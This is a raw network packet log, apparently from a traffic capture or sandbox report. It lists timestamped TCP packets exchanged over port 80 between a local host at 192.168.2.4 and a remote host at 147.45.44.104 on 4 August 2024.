Aug 4, 2024 02:21:38.082379103 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.082462072 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.082464933 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.082505941 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.082511902 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.082556963 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.082559109 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.082604885 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.082644939 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.082652092 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.082691908 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.082699060 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.082746029 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.082757950 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.082784891 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.082792997 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.082832098 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.082869053 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.082914114 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.082931995 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.082972050 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.082981110 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.083023071 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.083029985 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.083070040 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.083076954 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.083110094 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.083126068 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.083168030 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.083185911 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.083215952 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.083224058 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.083254099 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.083261967 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.083302021 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.083307981 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.083349943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.083355904 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.083395958 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.083403111 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.083440065 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.083450079 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.083492041 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.083496094 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.083533049 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.083543062 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.083585024 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.083586931 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.083623886 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.083638906 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.083682060 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.083686113 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.083726883 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.083734035 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.083781958 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.083796024 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.083837032 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.083846092 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.083884954 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.083893061 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.083933115 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.083940983 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.083978891 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.083986044 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.084024906 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.084033012 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.084073067 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.084079027 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.084116936 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.084125042 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.084167004 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.084172010 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.084212065 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.084218979 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.084264040 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.084264994 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.084302902 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.084311962 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.084351063 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.084357977 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.084399939 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.084405899 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.084445953 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.084453106 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.084503889 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.084531069 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.084577084 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.084577084 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.084621906 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.084630966 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.084667921 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.084676981 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.084722996 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.084764004 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.084768057 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.084809065 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.084815979 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.084861994 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.084863901 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.084899902 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.084908962 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.084947109 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.084954977 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.084995031 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085001945 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085035086 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085046053 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085086107 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085093021 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085130930 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085139036 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085160017 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085175991 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085185051 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085191965 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085207939 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085218906 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085233927 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085242987 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085253000 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085268974 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085278988 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085287094 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085300922 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085319042 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085320950 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085338116 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085386992 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085393906 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085412979 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085432053 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085438013 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085450888 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085454941 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085480928 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085485935 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085494041 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085509062 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085520983 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085531950 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085541010 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085550070 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085567951 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085577965 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085582972 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085597038 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085613966 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085623026 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085630894 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085644960 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085665941 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085678101 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085686922 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085700989 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085709095 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085716963 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085730076 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085733891 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085742950 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085748911 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085767031 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085772038 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085783958 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085792065 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085814953 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085825920 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085833073 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085848093 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085860014 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085874081 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085880041 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085895061 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085905075 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085912943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085923910 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085947990 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085952044 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085952044 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085968018 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085980892 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.085992098 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.085999012 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.086025000 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.086283922 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.086302042 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.086319923 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.086324930 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.086332083 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.086353064 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.086359978 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.086385965 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.086389065 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.086406946 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.086417913 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.086425066 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.086437941 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.086450100 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.086457968 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.086469889 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.086486101 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.086494923 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.086503029 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.086513042 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.086528063 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.086538076 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.086544991 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.086559057 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.086570978 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.086579084 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.086594105 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.086604118 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.086610079 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.086625099 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.086636066 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.086647034 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.086658001 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.086666107 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.086682081 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.086690903 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.086703062 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.086704016 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.086724043 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.086730957 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.086740017 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.086752892 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.086762905 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.086771965 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.086788893 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.086796045 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.086798906 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.086815119 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.086829901 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.086839914 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.086849928 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.086862087 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.086875916 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.086894989 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.087126970 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.087146044 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.087163925 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.087169886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.087176085 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.087191105 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.087207079 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.087214947 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.087220907 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.087249041 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.087332010 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.087352991 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.087366104 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.087380886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.087383986 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.087399960 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.087414980 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.087425947 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.087434053 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.087449074 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.087457895 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.087466955 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.087481976 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.087491989 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.087497950 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.087517977 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.087523937 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.087539911 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.087549925 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.087558985 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.087574005 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.087584972 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.087590933 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.087605953 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.087616920 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.087630033 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.087637901 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.087649107 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.087662935 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.087672949 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.087680101 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.087692022 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.087707043 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.087717056 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.087723970 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.087738991 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.087748051 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.087760925 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.087769985 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.087793112 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.088099003 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.088118076 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.088131905 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.088140965 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.088148117 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.088165045 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.088175058 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.088198900 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.088207960 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.088227034 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.088244915 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.088251114 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.088258028 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.088282108 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.088395119 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.088423014 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.088432074 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.088452101 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.088454962 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.088470936 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.088494062 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.088510990 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.088517904 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.088526011 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.088551044 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.088551998 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.088570118 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.088574886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.088582993 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.088597059 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.088617086 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.088629007 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.088634014 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.088638067 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.088655949 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.088660002 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.088676929 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.088680029 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.088692904 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.088702917 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.088710070 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.088723898 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.088733912 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.088742971 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.088757038 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.088768005 CEST	80	49757	147.45.44.104	192.168.2.4
